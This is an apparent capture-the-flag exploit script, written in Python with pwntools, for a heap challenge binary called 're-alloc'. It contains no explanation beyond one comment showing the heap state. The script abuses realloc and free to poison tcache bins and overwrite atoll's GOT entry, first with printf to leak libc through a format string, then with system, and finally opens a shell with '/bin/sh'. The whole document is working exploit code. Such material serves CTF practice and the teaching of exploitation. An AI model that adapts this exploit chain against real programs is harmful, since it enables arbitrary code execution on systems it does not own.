1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87 88 89 90 91 92 93 94 95 96 97 98 99 100 101 102 103 104 105 106 107 108 109 110 111 112 113 114 115 116 117 118 119 120 121 122 123 124 125 126 127
| from pwn import * filename="./re-alloc" libc_name="libc.so" io = process(filename)
context.log_level='debug' elf=ELF(filename) libc=ELF(libc_name) context.terminal=['tmux','split','-hp','60']
def alloc(index,size,data): io.recvuntil('choice: ') io.sendline(str(1)) io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) io.recvuntil('Data:') if(len(data) == size): io.send(data) else: io.sendline(data)
def realloc(index,size,data): io.recvuntil('choice: ') io.sendline(str(2)) io.recvuntil('Index:') io.sendline(str(index)) io.recvuntil('Size:') io.sendline(str(size)) if(size!=0): io.recvuntil('Data:') if(len(data) == size): io.send(data) else: io.sendline(data) else: io.recvline()
def free(index): io.recvuntil('choice: ') io.sendline(str(3)) io.recvuntil('Index:') io.sendline(str(index))
def debug(): cmd = "" cmd+="b* 0x401707\n" cmd+="b *0x40129D\n" cmd+="b *0x401603\n" gdb.attach(io,cmd)
stdout = 0x404080 alloc(0,0x18,p64(0xdeadbeef))
realloc(0,0x0,"") realloc(0,0x18,p64(elf.got['atoll']) + p64(0))
alloc(1,0x18,"aa") free(1)
realloc(0,0x18,p64(elf.got['atoll'])) alloc(1,0x18,"bbb")
realloc(0,0x28,"bbb") free(0)
realloc(1,0x28,p64(elf.got['atoll'])) alloc(0,0x28,"ccc")
realloc(0,0x38,"ddd") free(0) realloc(1,0x48,"eee") free(1)
""" now heap looks like 0x20 [ 0]: 0x404048 (atoll@got.plt) ◂— ... 0x30 [ 0]: 0x404048 (atoll@got.plt) ◂— ... 0x40 [ 1]: 0xb9e260 ◂— 0x0 0x50 [ 1]: 0xb9e260 ◂— 0x0 and both heap pointers are free """ alloc(0,0x18,p64(elf.plt['printf']))
io.recvuntil('choice: ') io.sendline(str(1)) io.recvuntil('Index:') io.sendline(str("%p.%p.%p.%p")) io.recvuntil('0x10.') libc_base = int(io.recvuntil(".",drop=True),16) - 0x0768b2 - 0xb7757 success("libc_base: " + hex(libc_base))
system = libc_base + libc.symbols['system'] binsh = libc_base + libc.search(b"/bin/sh\x00").__next__()
io.recvuntil('choice: ') io.sendline("1") io.recvuntil('Index:') io.send("%1c") io.recvuntil('Size:') io.send("%28c") io.recvuntil('Data:') io.sendline(p64(system))
io.recvuntil('choice: ') io.sendline(str(3)) io.recvuntil('Index:') io.send("/bin/sh\x00")
io.interactive()
|